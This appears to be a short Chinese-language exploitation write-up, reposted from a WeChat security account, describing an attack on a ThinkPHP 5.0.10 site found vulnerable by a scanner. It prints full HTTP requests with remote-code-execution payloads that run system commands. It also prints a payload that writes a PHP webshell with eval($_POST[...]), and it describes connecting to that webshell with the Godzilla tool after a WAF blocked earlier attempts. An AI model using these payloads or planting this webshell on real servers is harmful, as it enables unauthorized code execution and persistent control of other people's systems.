开局xray扫出thinphp rce漏洞:
复制request放到burp进行利用:
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 59
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
_method=__construct&method=GET&filter[]=system&get[]=whoami
返回版本5.0.10,那就把5.0.10的poc全打一遍
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
都失败了,尝试了三次后,发现目标无法访问了,应该是被waf拦截了,当时搁置了几天,后来听同事说也发现了这个漏洞但是无法利用,后续就开始查阅资料,尝试进行利用,看到有些文章里有提到写webshell,赶紧尝试下:
s=file_put_contents('sectest.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
成功写入phpinfo:
开始直接写的冰蝎马,发现连不上,再尝试写哥斯拉马,成功连上了:
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 127
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
s=file_put_contents('sectest20230220.php','<?php
eval($_POST["pass2023"]);
')&_method=__construct&method=POST&filter[]=assert
直接连接:
在测试的过程中要多翻翻资料,利用方法也要都尝试一下,也许就柳暗花明了呢。
原文始发于微信公众号(安全艺术):一次thinkphp5.0.10漏洞利用记录
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论